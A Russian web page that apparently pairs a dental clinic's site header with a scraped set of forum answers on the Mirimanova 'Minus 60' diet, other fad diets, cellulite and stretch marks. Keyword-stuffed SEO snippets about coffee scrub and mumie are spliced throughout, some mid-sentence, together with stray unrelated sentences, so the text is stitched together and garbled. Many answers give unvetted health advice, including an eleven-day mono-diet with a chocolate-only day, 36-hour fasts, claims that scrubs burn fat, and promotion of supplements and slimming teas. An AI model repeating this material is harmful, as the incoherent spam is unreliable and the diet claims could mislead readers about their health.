Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Что за диета Миримановой?

Вроде: не есть после 18 и раздельное питание ?

Диета минус 60 ужин рецепты.- Taliya.ru 17 ноя 2012 Скраб для тела ORGANIC SHOP Бразильский Кофе - отзыв Потрясающий кофейный скраб для похудения и от целлюлита разбор Пробывали таблетки для похудения?

Не жрать после 6, а до 6 жрать поменьше и полегче)

Не диета, а система питания минус 60!

Это не диета, а "Система "Минус 60", которую создала Екатерина Мириманова на основе своего личного опыта. Она похудела на 60 килограммов без диет и мучений, просто изменив рацион.
Написать вам, в чем заключается эта система, я здесь не смогу - слишком обширная информация. Потому советую воспользоваться любым поисковиком. Но в любом случае эту систему питания можно использовать без вреда для здоровья. К тому же она предусматривает уход за кожей, которая провисает в процессе похудения
(популярный кофейный скраб) , и физические упражнения.

Это не диета, а особая система питания. мне кажется, очень удачная, во всяком случае, для тех кто напрягаться особенно не любит, к спорту равнодушен, а результатов жаждет ( я имею в виду себя) -очень подходит. сама придерживаюсь уже 2 месяца, килограммы уходят, а особо себя не ограничиваю.

СИСТЕМУ МОЖНО ИЗЛОЖИТЬ КОРОТКО:
До 12 на завтрак можно ЕСТЬ ВСЕ.
В обед мясо/рыбу нельзя с картошкой, макаронами и бобовыми (горох, фасоль) , все остальное сочетается, на ужин мясо и яйца не сочетаются ни с чем, крупы сочетаются с овощами или фруктами, молочка так же с овощами и фруктами, крупы и молочка между собой НЕ сочетаются.
Ужин (ужинаем мы вечером, ближе к 18-00, а не в 15-00)
ЧТО МОЖНО ПИТЬ И ЕСТЬ ПОСЛЕ 18-00?
1. Чай зеленый или травяной
2. Кофе
3. Вода с газом (очень аккуратно, разжигает аппетит) или без
4. Красное сухое вино. Если у вас на него аллергия/изжога и т. д. , то заменять его чем-то или нет – на ваше усмотрение. По системе только красное сухое можно.
5. Во время вечерних и ночных мероприятий можно перекусить парой кусочков нежирного сыра.

Диета минус 60.Кофейный скраб от растяжек и целлюлита. В борьбе за бархатистую кожу и стройную фигуру многие представительницы прекрасного пола готовы прибегнуть к каким угодно методам.

Кстати, классная вещь! утром ешь, что хочешь, хоть целый торт! в обед овощишек с мясом, курой, рыбой! в 18.00 последний раз развлекись салатом с рыбкой! красота, мне "сове" тяжеловато, в 2 часа ночи хочется от телека кусок откусить, пью газировку...

Очень, кстати эффективная. Я придерживаюсь почти 3 месяца. минус 6, 5 - 7 кг.

Сколько нужно сбросить при росте 164см и при весе 70кг?Посоветуйте какие-нибудь действенные методы!!!

Здесь посчитай

Маринованная рыба при белковой диете. готовая диета для сыроеда. диета против холлестирина. диетическое питание в саяногорске. как вы похудели на протасовской диете.

10 кг хватит..

Если фотка твоя, то ничего не надо. Посмотри вон в мой мир, разница ого-го, и ни грамма жира

Ну в идеале вам надо весить хотя бы 55 кг.... но скидывайте постепенно - в крайности не кидайтесь.... Легкая ЗДОРОВАЯ (не хлеб и вода) пища, спорт, пешие прогулки, банька (как раз летний сезон) , крема и массажи для упругости кожи.... и ЛЮБОВЬ К СЕБЕ

Диета трудная, достаточно вредная, но очень эффективная. Прежде чем применять ее, сто раз подумайте, что важнее: фигура или здоровье. А при вашем росте по нынешней моде как минимум 10 кг надо сбрасывать. Удачи!
1день
1литр кефира
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
2 день
4 средних апельсина
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
3 день
2 пачки нежирного творога (250 гр)
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
4 день
1 поллитровая банка кабачковой икры
травяной чай
5 день
одна плитка молочного шоколада 100 гр
чай
6 день
1 кг яблок
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
7 день
300 грамм твердого сыра
чай
8 день
1 литр томатного сока
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
9 день
400 грамм вареной говядины
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
10 день
салат с огурцами, помидорами, капустой, с петрушкой, укропом, сельдереем и подсолнечным маслом, соль
чай
11 день
2 пачки нежирного творога (250 гр)
1ст. ложка подсолнечного масл

Сейчас начнется лето, жарко и Вы волей-неволей будете меньше есть, а если есть сад, дача, огород, то зелени достаточно и лишние 6кг. сами собой исчезнут.

Это правило для диеты 60 одно из самых строгих. Помимо правил по питанию по диете Екатерины Миримановой Минус 60 автор также рекомендует обязательно и регулярноВ идеале делать массаж, сочетая его с контрастным душем и применением кофейного скраба.

Прежде сбросить аватарку. это очень много золотце... думаю до 60.у меня такой рост я весила 64при этом и чувствовала себя мутантом... потом скинула до 53...сейчас набрала 56.я перестала жрать как попуас стала больше двигаться. влюбилась. занялась учебой больше ходила на диско и забудь фаст фуд! кефир!!!! сложно но надо

Уверен, что ты и сейчас выглядишь очень аппетитно и симпатично. В советское время, когда женщины были похожи на женщин, рассчитывали вес так: рост минус сто. Там были ещё добавочки - за каждого ребёнка плюс три кило, за каждые прожитые пять лет после25 ещё по килограмму...

...не понял... повторить о французской диете-?другого в природе не существует-!я за 4 месяца со 129кг похудел до 89...уж больно лялка аппетитная была... чем-то на тебя похожа... может тем что тормозная слегка-? до того и

От 10 до 14 килограмм. Все зависит от Вашей конституции и от веса костей.
Я сбросила 10 кг за 10 дней, занимаясь по оздоровительной системе. Без диет и медикаментов. Путь не для всех, т. к. нужно заниматься. Если интересно -пишите на мэйл.

Девиз такого питания «можно есть всё и худеть» система минус 60: на завтрак, а он до 12, можно есть абсолютно всё не считая размер и калорийность блюда, на обед и ужин определенный список сочетаемых продуктов, на этом сайте подробное описание системы, книги, форумы худеющих, фото, рецепты, Екатерина Мириманова автор этой системы таким образом похудела на 60 кг за 1,5

Растяжкой, чтобы на любом из вариантов кефирной диеты пригласили в гости или на прилавке магазина увидели что-то вкусное и не смогли удержаться. Информация

Правда что худеют от зеленого кофе?

Ерунда . От чая это да .

Главная Диеты Диеты для снижения веса Диета система Минус 60 Екатерины Миримановой.Что то не увидела про кофейный скраб и мумие!мне кажется это очень важные моменты по уходу за кожей!!!

Ошибочка.
худеют от зеленого мяса.
(если не помрут)

Зеленый кофе - это галимый горох. ешьте горох и худейте со звуком ))

Если больше ничего и не пить.

Все напитки, о которых говорят, что от них худеют, направленны на слабительное действие.... Нет такого продукта, от ккоторого именно худеют)))) если хотите похудеть то надо стабилизовать свой обмен веществ+спорт.... лучшая система для этого "минус 60"... она так и называется и про нее можно узнать в инете... Эта не диета, эт сстема питания, которая улучшает обмен веществ....

Не правда.

Наконец-то наткнулись на систему минус 60, купили книгу, вместе ее перечитали и мама с моей поддержкой приступила к диете!Кофейный скраб и крем с мумие мы делали каждый день утром!

Это реклама, благодаря которой бедолаг разводят на деньги.
О способности биодобавок и продуктов питания сжигать жир нам приходится слышать довольно часто. А вот о том, как именно происходит сжигание жиров – гораздо реже. Многие худеющие представляют себе этот процесс примерно так: волшебная таблетка или корень имбиря (тут возможны варианты – зеленый кофе, корица, сода и тп) попадают в организм и там, как шаровая молния, проходя по жировым отложениям, сжигают их.
before-and-after-diet
Что значит сжигать жир на самом деле?
Конечно, ничего общего с реальностью это не имеет. «Сжигать жир» значит тратить энергию за счет жировых отложений, только и всего. Энергию мы получаем из пищи. Когда мы урезаем поступающие калории, организм испытывает дефицит энергии и начинает для покрытия собственных нужд расходовать подкожный жир.
Один из самых эффективных и безопасных способов сжигания жира – спорт. Когда вы начинаете активно двигаться, то первые 20 минут организм расходует глюкозу, которая содержится в крови, а потом принимается за жиры. Если параллельно с тренировками вы сократите потребление калорий в сутки всего на 200 ккал, то за неделю реально потерять около 500 г веса.
Медленный процесс расходования жира не устраивает многих, и люди ищут способы ускорить его разными методами – принимают те самые биодобавки, выбирают наиболее энергоемкие тренировки или пьют крепкий кофе, зеленый чай, имбирный напиток и прочие чудо-средства, которые обещают сделать процесс траты энергии за счет жиров более интенсивным.
На самом деле существует крайне мало препаратов, которые могут ускорить процесс расщепления жира.
Вещества, которые помогают сжигать жир
1. Кислород
Кислород является самым мощным катализатором сжигания жиров. Именно по этой причине люди, которые много времени проводят на свежем воздухе и занимаются спортом на природе, худеют легче. Поэтому мой вам совет – тренируйтесь в хорошо проветриваемом помещении или на природе, а также больше гуляйте.
Еще один вариант использования кислорода на пользу – это занятия дыхательной гимнастикой, во время которой тело насыщается кислородом.
Свойство кислорода активно сжигать жир, используют фирмы, производящие кислородные коктейли. Они утверждают, что кислородный напиток способствует похудению, но наукой не доказано, что кислород способен усваиваться через желудок. Для успешного похудения, очень важно не только поступление кислорода, но и его усвоение. В этом вам помогут вещества, богатые железом (именно молекула гемоглобина переносит кислород и доставляет его к органам и тканям) . Железо содержится в красном мясе, печени, инжире, гречке, киви, яблоках и некоторых других продуктах. Для его успешного усвоения животные продукты нужно употреблять с растительными – овощами и фруктами, которые богаты витамином С.
2. Л-карнитин
Самое популярный жиросжигатель – L-карнитин. Это некий гибрид витамина с ферментом. Это вещество имеет массу полезных свойств – он регулирует функции роста в организме, слабым людям – дает энергию и улучшает аппетит. А для людей с лишним весом, а также спортсменов он полезен тем, что повышает выносливость и увеличивает количество энергии, затрачиваемой во время физических упражнений. Да-да, л-карнитин помогает худеть только тогда, когда вы активно тренируетесь.
Механизм его действия достаточно прост. Как уже было сказано выше, при тренировках организм первые 20 минут расходует глюкозу, которая содержится в крови, а потом принимается за жиры. Так вот, л-карнитин помогает миновать фазу растраты «сахарных» калорий, а напрямую помогает организму извлекать энергию из жира. Это свойство используют спортсмены, которые снижают количество жира перед соревнованиями, а также простые любители фитнеса, которые хотят похудеть быстрее. Принимать л-карнитин, лежа не диване, представляя, как он растекается по телу, растворяя жиры – бесполезно и глупо.
3. Гурана, кофеин, эфедрин
Эти вещества и некоторые другие адреналинсодержащие препараты, также способствуют повышенному расходу жира

Нет. меньше жрать и больше двигваться

Да, и от кофе, и от чая тоже...

Это очередная выкачка денег у доверчивых

Секаса-вот главное! Тонкий будешь, как спичка!

Система Миримановой минус 60. У вас более 40 лишних килограммов и вы уверены, что это приговор? Не спешите с выводами!Кофейный скраб не только помогает избавиться от целлюлита и растяжек, но и способствует сжиганию жира.

Худеет только карман

Говорят, что кур доят!

Худеют только от переставания жрать + спорт.

Очередной ЛОХОТРОН...

Подскажите из личного опыта как похудеть? и удержать результат?

Если бы было известно, толстых не было бы вообще.

Кофейный скраб на те же зоны Контрастный душ. Перед сном будет зеленый чай стакана 2, т.к. ГВ.Эффективные диеты на www.nadietah.ru.

Легко и просто. Сейчас осень и надо есть те продукты где много белка т. е молочные продукты и мясные и т. д)

Смеюсь. Ольга, прочитайте ваши вопросы по кулинарии. И ЭТО не готовьте. Т. е. утку, картошку, макароны.... далее не смотрел. Шучу, хотя...? Спорт, постоянно. Надо заставить себя заниматься им 2-3 недели, а потом войдёт в привычку. Фитнес, аэробика,... всё можно и дома - смотреть видео и делать, можно и с группе. Обруч, скакалка.. . Удачи.

ВОТ и я к чему, главное не просто скинуть вес, но и не набрать его потом ещё и с +.
Почитай про " систему минус 60" - реальнее этого питания нет ничего! Год назад я похудела на ней на 20 кг за короткий срок, и весь год благополучно поддерживаю свой вес в норме. Это не диета, а просто правильное питание - НА ВСЮ ЖИЗНЬ!!! !
Многие например после похудения плюют на себя и возвращаются к прежнему образу жизни ( пьянки, жрачки) и да здравствуют кг назад!!!! Это тоже не праильно!! ! Может я столь категорична что я худела с большого веса - но я просто не понимала и не понимаю, как можно отпахать час в спортзале (а было первое время, когда просто хотелось лечь и сдохнуть в этом зале) - а потом все это дело отполировать булкой или чем то еще.
А вообще надо подходить ко всему комплексно, правильное питание, ежедневные физ. нагрузки ( раньше ох и ленивая я была, сейчас без спорта жизни нет)))) , определеные процедуры на кожу такие как кофейный скраб, мумё, курсами обертывания различные, ванны жиросжигающие и т. п. ( всё в дом. условиях) . И конечно правильный психологический настрой, ведь без этого никуда!! ! Только изменившись внутри, можно измениться внешне!!! !
А вообще, наши мысли материальны, мечтаешь? хочешь? Стремишься хоть маленькими шагами - И тогда всё в этой жизни возможно.
Не устану повторять мои любимые слова : ИЗМЕНЯЛА, ИЗМЕНЯЮ, И БУДУ ИЗМЕНЯТЬ СВОЮ ЖИЗНЬ К ЛУЧШЕМУ!!!!

Похудеть можно на овощах+зеленый чай+спорт) а вот удержать трудно, много соблазна, в общем диета на всегда, удеражть это сидеть на диете всю жизнь.) назад дороги нет.) вот говорят +50 ккал в день, но все равно не помогает, вес востанавливается, если так добовлять по 50 ккал в день)

Так, внимание! Продолжительность диеты Кима Протасова пять недель. В первый день, во второй, в третий и так всю неделю вы едите ТОЛЬКО сырые овощи, а также сыры и йогурты 5%-ной жирности. Позволено одно вареное яйцо в день. Количество ЛЮБОЕ! Время дня ЛЮБОЕ! Смысл этой прогрессивной диеты в том, чтобы съесть как можно больше овощей и 5%-ных молочных продуктов. Чай, кофе можно в любом количестве ( только без сахара ), а воду в обязательном порядке 2 л в день. Вам стало чуть грустно? Так и быть, лично от себя разрешаем вам еще 3 зеленых яблока. Что? Не стоит благодарности, на здоровье. Причем овощи вы вольны употреблять в любом виде. Хотите – грызите огурцы, посыпая их болгарской брынзой ( 5%-ной ), хотите – макайте помидоры и болгарские перцы в йогурт, а хотите – приготовьте огромную порцию салата из всевозможных овощей, порежьте туда вареное яйцо и посыпьте все сыром.
И только посмейте пожаловаться, что вы голодны! Спокойно ешьте утром, днем, вечером, ночью – целую неделю. И точно так же – вторую неделю.
Удивительно, но со второй недели у вас пропадает охота есть что-либо, кроме овощей, сыра и подаренных нами яблок. Многие даже отказываются от вареного яйца, которое с жадностью поедали в начале диеты. К концу второй недели вы почувствуете необычайную легкость во всем теле и в … мыслях. Не отягощенный жиром, мясом и сладостями организм потребует живости поступков, чтобы не удариться в адюльтер. С начала третьей недели вы обязаны присовокупить к овощам и сырам кусочек ( 300 г ) жареного мяса, птицы или рыбы. Пожалуйста, немного сократите сыры и йогурты. Овощи, сыры, мясо, яйцо и яблоки вы едите еще три недели. И все! Через три недели после начала диеты вы начнете просто таять на глазах у изумленных коллег и домочадцев. Две последние недели происходит самое интенсивное сбрасывание веса.
Приготовьтесь к тому, что, когда диета будет завершена, вы, госпожа, похожая на гибкую лань, не сумеете с жадностью наброситься на всевозможные яства. Вам придется приложить немало усилий, чтобы заставить себя съесть хлеб с маслом, жареную картошку или пельмени.
А также делайте эти упражнения каждый день, тратя 8 минут в день

RE Диета минус 60 . Берегиня. LEKSA написал а RE Диета минус 60 . Eleno4ka. Кофейный скраб обожаю.Прям Женщина с ароматом кофе,после него. Очень важно бояться отказа и не проявлять никакой инициативы.

Через день вот такую гимнастику: http://ariom.ru/forum/t16266.html

Гречневая диета+ калланетика+ работа с пищевой зависимостью= -4 кг за неделю.

Что нужно сделать,что бы убрать целюлит=( Занимаюсь спортом...ничего не помогает...крема тоже не действуют...помогите=(

Нужны сильные руки для массажа

Екатерина Мириманова предлагает использовать кофейный скраб, т.е. ежедневно после того как вы намылили тело обычным гелем для душа Вы наносите молотый кофеСистему Минус 60 нельзя назвать диетой, так как здесь нет строгих ограничений, это скорее образ жизни.

Личное мнение. Баня, СПА, Термальное бельё, Регулярный массаж. Не есть жирное вообще!

Правильное питание. Кофейный скраб с антицеллюлитными маслами. Массаж вакуумными чудо-банками. Обертывания водорослями.

К сожалению это вторичный половой признак женщины, что бы было не так заметно нужно "бороться" практически каждый день. Хорошо разогревающие обёртывания, массаж антицеллюлитный, ну и питание естественно разумное.

Целлюлит это неправильное образование жира, вследствие неправильного питания. Также его появлению способствуют кофе и газированные напитки, в том числе конечно пиво. Питание должно быть равномерное, а не так что 1 день обьедаемся, 2 дня голодаем. Вот в день обжорства как раз и появляются ненавистные бугорки.

Лично мне помог курс очищения, рассчитанный на месяц.. . чистила печень, кишечник, поджелудочную.. . плюс массаж медом на проблемные места через день. в итоге - минус 4 кг и полностью прошел целлюлит (который был ого ого...)

Особенности системы минус 60 Екатерины Миримановой. Режим питания на диете Миримановой.И никакие кофейные скрабы и мумие вам не помогут. Голодание после 6 часов вечера спровоцирует застой желчи и как следствие камни в желчном пузыре.

Пересмотреть питание и на баночный массаж к массажисту.

Уже писала об этом еще раз. Только питание. Срочно разберись в нем. Не пить пиво и газированные напитки не достаточно. Купи анализатор жира. У тебя явно сильно нарушен баланс мышечно - жировой массы и скорее всего большой показатель висцерального жира. Питание должно быть четко отлажено. Есть много безобидных продуктов, которые съедены в неправильное время суток сразу же откладываются в жир (например морковь) . Тебе нужно больше чем диета. Нужен жизненный план, и чтобы ты не валялась в судоргах от постоянного неудовлетворения жизнью, а кайфовала, не употребляя всю ту "срань" без которой якобы нельзя и неинтересно жить.

Поможет коловада

Ваш метод похудения или поддержания формы.

Чередую Бонский суп и японскую диету.

Готовые продукты Леовит Худеем за неделю в наро... Отзывы об английской диете.В чем минусы кофейного скраба против целлюлита.А как же успешные примеры худеющих на минус 60? Кому-то, повторимся, повезло с генетикой.

Мой метод вот здесь
Скачайте, прочитайте. Может быть, это Ваш вариант.

Бодифлекс))

Система минус 60,умеренный спорт., кофейный скраб и моделирующий гель, все в купе, дает хороший результат.

Ем в меру, гуляю с собакой два-три раза в день. Много хожу пешком.
Вес практически не меняется много лет.

Мой метод - беру скотч, заклеиваю рот и всё ! В результате за 1,5 года минус 35 кг

Еще один продукт убойный для диеты минус 60 кофейный скраб и красоты это пиво. Людей в состоянии гипогликемии часто бывает агрессивным и непредсказуемым, поэтому необходимо проявить максимум терпения.

Питание 1-2 раза в день в первой половине дня.

Режим питания: Завтрак - кофе черный без сахара, пол яблока или груши, 150 грамм каши (можно быстрого приготовления - "Быстров, "Минутка" и. т. д.) , Обед - салат из свежих овощей, заправленный раст. маслом (можно чуть подсолить) , + запеченное или приготовленное на гриле мясо (курица, говядина, рыба, морепродукты и т. д.) , чай зеленый с 1\2 ч. л. меда, Ужин: кефир 2,5% ( 1 стакан) + пол апельсина или несколько кусочков ананаса. Кроме этого - физ. нагрузки хотя бы по 20 мин. в день (приседания, пресс, отжимания)

Как можно скинуть кг 5? После родов это проблема!

Спорт и жрать меньше)) ) Но если вы на ГВ - то это может быть дохлый номер.

Например самая лучшая диета за 7 дней. Вы ищете. Кофейный скраб по диете 60 минус.

Я после родов похудела на 9 кг, вот уже как 3 месяца прошло, диета кормящей мамы и дочкины колики- постояно на руках она была и я на ногах все время что не кормила и не спала...

Надо гулять с ребёнком по 2 часа утром и вечером (именно ходить в среднем темпе) Есть часто, но понемногу. и конечно ничего жирного, острого и печёного

Секретов никаких нет - есть мало и не все что хочеться, больше двигаться, оченьхорошо йога ( просто не ожидала, мышцы подкачала и живот ушел за 2 мес) и терпение.

Яичная диета ( яйца, мясо нежирное и овощи в любом количестве)

Не ограничивайте себя и малыша в хорошей пище! Постепенно садитесь на комфортнейшую диету "минус 60", похудеете без вреда для Вас и малыша, подтянете тело с помощью советов в этой же диете - кофейные скрабы например, уберете растяжки с помощью мумие и покорите весь мир счастливая от материнства и светящаяся здоровьем красотка и стройняшка барби!
Удачи!

Для чего кофейный скраб и муми ? Какие задачи стоят перед женщиной, желающей убрать стрии?Второй день на системе -60. Моя диета система Миримановой.

Перестала есть мучное и хлеб. И мясо ела с овощами, а каши просто так и отдельно за 2 часа до или через 2 часа после мяса. Вот за 3 месяца 5 кг скинула. Правда конфеты ем и шоколадки- не могу без глюкозы.. . Но ребенку уже 1.9. А до этого даже не мечтала похудеть- еще гормоны не уляглись. Да и возраст не юный.

Исключите или уменьшите потребление сладкого и мучного, замените на фрукты и овощи, гарниры так же предпочтительно выбирать овощные, злаки (каши) есть в первой половине дня, на ужин отварную или тушеную рыбу, овощи, нежирное мясо.. . Сбалансируйте свое питание, чтобы получать максимум витаминов и минимум лишних калорий.
Я так потеряла почти 10 кг. При этом грудью кормлю.

Могу подтвердить что "Система минус 60" это иногда единственный выход. У меня трое, и колики, и прогулки и физическая нагрузка - все в наличии, но просто так вес не уходит. Только благодаря этой системе с весом еще можно справиться.

Подскажите диету в домашних условиях пожалуйста.

Очень советую японскую, не скажу что прям на 10, но 6-8 гарантирую)

Диета Минус 60 основные принципы. Правил диеты Минус 60 можно придерживаться долгие годы.Чтобы кожа за время похудения не стала обвисшей и дряблой, необходимо ежедневно делать специальный массаж, растирать кожу кофейным скрабом.

Первые 3 дня вода и молоко (вместо воды можно зеленый чай и минералку)
след. 3 дня любые фрукты
и послед. 3 дня только белое мясо вареное
эффект поверьте будет. повторять диету можно раз в 3 месяца. и вероятность скинуть сразу много приведет к тому, что наберете еще больше возвращаясь к нормальному питанию (и так при любой жесткой диете) . удачи

Выбросить холодильник, и бегать, бегать...

Вы сошли с ума, за 2 недели 10 кг и что бы ничего ни висело.. . Во первых терять быстро вес это вредно, а во вторых висеть будет однозначно еще и растяжки новые добавятся Попробуйте правильно питаться хотя бы исключить продукты которые задерживают воду в организме (соленное, маринованное) Питайтесь дробно каждые 2 часа, при этом более емкое и калорийной старайтесь скушать до 12 ч дня (например булочка, шоколад) , а после 12 ч. переходите на менее тяжелую пищу :гречка, йогурты, мясо птицы и т. д. Да и никакой сладкой газировки. За 2 недели может на 10 кг не похудеете но очень преобразитесь. А что бы кожа во время похудения не обвисала, проводите каждый день такую приятную процедуру как кофейный скраб. Желаю удачи.

Система минус 60

Питайтесь часто, но умеренно. В вашем рационе должно быть много зеленых овощей и меньше жирного. Последний прием пищи должен быть не позже 18 часов. Поздним вечером, если нестерпимо хочется есть, перекусите яблоком и выпейте горячего травяного чаю. Горячее притупляет аппетит.

Следует сразу отметить, что диета минус 60 Екатерины Миримановой по своей сути не является жесткой и слишком категоричной.Для предотвращения появления целлюлита в процессе похудения, пользуйтесь кофейным скрабом.

Попробуйте гречневую, очень эффективная)

Подскажите диету эффективную. хочу похудеть на 7-10 кг хотя бы за 1-2 месяца. Кушаю мало, а похудеть не получается.

Спорт!!! физические нагрузки нужны

Диета минус 60 на завтрак. Утренний прием пищи пропускать нельзя.Перекусы на диете минус шестьдесят. Меню Миримановой предусматривает два перекуса в течение дня.Скраб для тела дома - готовим и используем.

На белковой диете худей

Начинайте больше двигаться... и после 6 не есть... исключите углеводы

Сначало, проверьте гормоны.

Почитайте про голодания, это не так страшно как кажется, начинаете с 36 часов в неделю, потом два раза по 36 часов, а между этими днями есть можно сколько угодно и все что угодно. вес уходит быстро, рацион постепенно меняется. пить в разгрузочный день можно только воду. и не ругайте себя если первые голодовочки будут со срывами))

ДЛя меня самым эффективным был подсчет калорий.. . если держать 1200 кал в день, то в неделю теряется где-то около 500-700 г - не резко и для здоровья полезно!

Основой диеты Минус 60 является личный положительный опыт автора. В книгах, посвященных диете Минус 60 , автор рассказала о том, как заставила себяНеобходимо для этого использовать кофейный скраб и муми , дабы растяжки делались меньше заметны.

Если едите действительно мало, а не худеете, то либо питаетесь не правильно, либо что-то со здоровьем.
Сбросить 10кг за два месяца абсолютно реально. Но нужно понимать, что это чуть больше 1 кг в неделю, а, значит, результат будет заметен не сразу (а если Вы раньше переедали, может в начале появиться как легкость, так и усталость) .
1) Питание. Ешьте простые, натуральные продукты. Те, что "душа требует", но небольшими порциями и по расписанию. Если сегодня хочется рыбу - ешьте рыбу, но без специй. Если хочется творог, ешьте творог. Но старайтесь не мешать разные виды продукто.
Завтракайте плотно и неспеша. Потом принимайте пищу еще два-три раза, но чтобы в общем этой пищи было не многим больше, чем за весь завтрак. За 4 часа до сна не ешьте вообще.
Пейте обычную воду. Пейте много, но тоже по расписанию (до приему пищи) , и не пейте, когда больше не хочется.
И, конечно, исключите из рациона "тяжелые продукты" (картофель, бананы, хлеб, сладости) , а так же продукты, на которые именно ваш желудок реагирует не очень хорошо (у одних людей бывает вздутие от сыра, у других от яблок и т. п. )
НИКОГДА НЕ ГОЛОДАЙТЕ. Если совсем не худеете, даже на пару сотен грамм в неделю, и чувство легкости не приходит, можно чуть уменьшить порции, и посмотреть, что будет через неделю, а так же подумать, не едите ли Вы что-то, что Вам не на пользу (прислушайтесь к своему организму) . Но голодать нельзя категорически. Лечебное голодание - долгий и сложный процесс, тяжелее диеты и здорового образа жизни, и рекомендуется только при наличии каких-то серьезных проблем. А разовые "разгрузочные дни" - это для тех, у кого с фигурой все ок, т. е. чьи организмы не будут после дня голодовки экстренно накапливать новый жир и запасаться им на будущее. А если проблемы с фигурой есть - просто правильное, разумное питание, подходящие продукты.
2) Тело. Если легкий спорт / зарядки не вызывают неприятных эмоций, то регулярно занимайтесь. Если больно, сил нет и т. п. - просто ЕЖЕДНЕВНО принимайте контрастный душ и растирайте тело кофейным скрабом (если нет противопоказаний) . Это подтянет мышцы и сделает фигуру изящнее.
3) Если все делаете правильно, а все равно не худеете - идите прямиком к врачу. У женщин часто бывают проблемы с гормонами. Если обнаружилось вовремя, то лечится быстро. Если запущено, потребуется более серьезное лечение, с которым лучше не затягивать. Могут быть и не только в гормонах проблемы. . Но если поймете, что дело не в питании и не в нагрузках - сначала идите к эндокринологу, потом, если ничего не найдет, к диетологу.

Спорт и раздельное питание а не голодание

Мила, у каждого организма есть свои физиологические нормы, очень сложно снизить вес, если все в норме. напишите свои параметры и тогда уже можно судить о том, реально ли вам снизить вес Если же на самом есть лишние килограммы, то 7-8 кг за 2 месяца можно реально их убрать, но только не с помощью низкокалорийной или монодиеты, поскольку потом все быстро вернется назад, еще и добавив пару кг, а изменив время, структуру и качество пищи, возможно и частоту приема пищи. если есть желание - напишите дневник питания и можете послать мне на личную почту, могу подсказать, что поменять

Хороший эффект дает гальваногимнастика плюс прием Тигрин-97 (по 4 капсулы в день).

Не только похудеть, но и эффективно очистит организм Вам поможет чай Холли ! Мой результат минус 5 за 2 месяца! Потраченных денег нисколько не жаль-рекомендую всем.

Кофейный скраб. Оказывает позитивное воздействие сразу по нескольким фронтам - способствует сжиганию жира кофеин входит в состав почти всех средств для похудения , - оказывает разглаживающее иСистема Минус 60 . Кожа. В сообществе Фитнес и диеты.

Диета+физические нагрузки) стараться больше двигаться, ходить, бегать, посещать тренажерный зал) не есть после 18.00 а вообще во многих литературных источниках прописано за 2 часа до сна) таблетки лучше не использовать) хорошее средство это кефир (0 или 1 жирности) с лимоном. хорошего от него вес падает безопасно, мы перед соревнованиями так вес гоняем. А вообще можно использовать чаи для похудания, зеленый чай, но с ними надо быть осторожней кроме шлаков они и полезные вещества вымывают) полностью исключить сладкое и мучное) желательно больше потреблять белковой пищи) если захочется сладкого то можно съесть пару ложек меда) снизить до минимума употребление жиров) надеюсь у вас получится! Удачи ;)

Мучное ньше надо кушать!

Как эффективно сбросить вес после родов?пол года никакого результата.и что интересно-почти не ем...помогите!!!

Аквафитнесс едьте на море купите себе купальник на размер меньше и с утра до ночи делать зарядку в воде.

Диета Минус 60 . Система основана на личном успешном опыте автора и вот уже пять лет пользуется популярностью.Я использовала для этих целей кофейный скраб и мумие для того, чтобы сделать растяжки менее заметными.

Не есть - это мало! Нужно плюс к этому много двигаться. Заняться спортом, например.

А вы грудью кормите?? ?
Я при кормлении грудью скинула 10 кг сидя на такой диете:
Завтрак: 150гр. творога и 2 ч. л. меда.
Обед: салат из свежих овощей не больше 200 гр. и рыба вареная или печеная в духовке или куриная вареная грудка не больше 150 гр.
Ужин у меня был в 17.00: 3 ст. л. вареного риса с 1 ч. л. соевого соуса.
Через день меняла местами завтрак с ужином.
Мучное и сладкое исключила.
Для кожи делала кофейные скрабы и медовые обертывания!
Удачи Вам! ! И здоровья малышу!

Гуляйте с ребенком без коляски. Отличный фитнесс.)))

Пока кормишь, вс будет стоять, потом сам начнет снижаться, ну и поддерживать спортом надо. мне тонус-клуб помогает худеть. Уже целлюлита почти нет, мышцы, конечно, еще надо подольше в порядок приводить...

Все это фигня, просто еще организм не востановился после родов, к двум годам все вернется на свои места, поверь у меня их двое.!!!

Принцип работы диеты. Минус 60 диета вобрала в себя свойства организма по-разному переваривать пищу в разное время дня.Параллельно с этим каждый раз после душа она втирала в проблемные участки тела кофейный скраб.

Попробуйте питаться по Системе Минус 60
http://forum.say7.info/topic28172.html

Как убрать растяжки на ногах?народными методами!!!подскажите...(

Народными никак и не народными никак.... уменьшить лазером только можно и пошлифовать

Скоростная диета от Пугач вой. написать модератору. МамаЛюбимойДоченьки не рекомендует Система минус 60 Екатерины Миримановой.А скраб кофейный мне тоже очень нравится, я его делаю почти каждый день.

А зачем их убирать) не нравиться не смотрите)

1.Физические упражнения;
2.Кофейный скраб;
3.Мумиё с кремом
В системе похудения минус 60 Екатерины Миримановой подробно написано что и как выполнять, в комплексе это очень классно помогает, главное систематичность и длительное время это всё выполнять не лениться, тогда результат на лицо! =)

Растяжки уже никуда не денешь, подтянуть кожу можно спец. упражнениями для ног.

Только хирургическим путем они убираются полностью

Хирург вам в помощь

Меню для диеты минус 60. Нужно отметить с самого начала, что данная диета Миримановой, по сути, не является категоричной и слишком жесткой.Чтобы предотвратить целлюлит который, скорее всего, появится в процессе похудения, можете использовать кофейный скраб.

Народными невозможно. Иначе не было бы проблем!

Хирург, хирург, что за бред. Давайте под нож сразу-конечно
Лично мне помогло-
Активное занятие спортом ( усиленно на ноги упражнения) , диета ( растяжки начали уходить сами, когда я начала терять вес) , массаж с антицеллюлитными кремами.
И все- пол года спустя, у меня идеальные ноги. И никаких хирургов.

Подскажите что нибудь, что бы быстро похудеть? =(((

Спорт вам в помощь=)

Диета Минус 60 . Если у женщины слишком большой вес, то она старается всеми способами избавиться от лишних килограмм.Также рекомендуется и кофейный скраб. Для повышения эластичности можно использовать мумие.

На питьевую садитесь.
Или на питание до 12

Плавай в бассейне. тебе самой станет стыдно там жиром трясти.

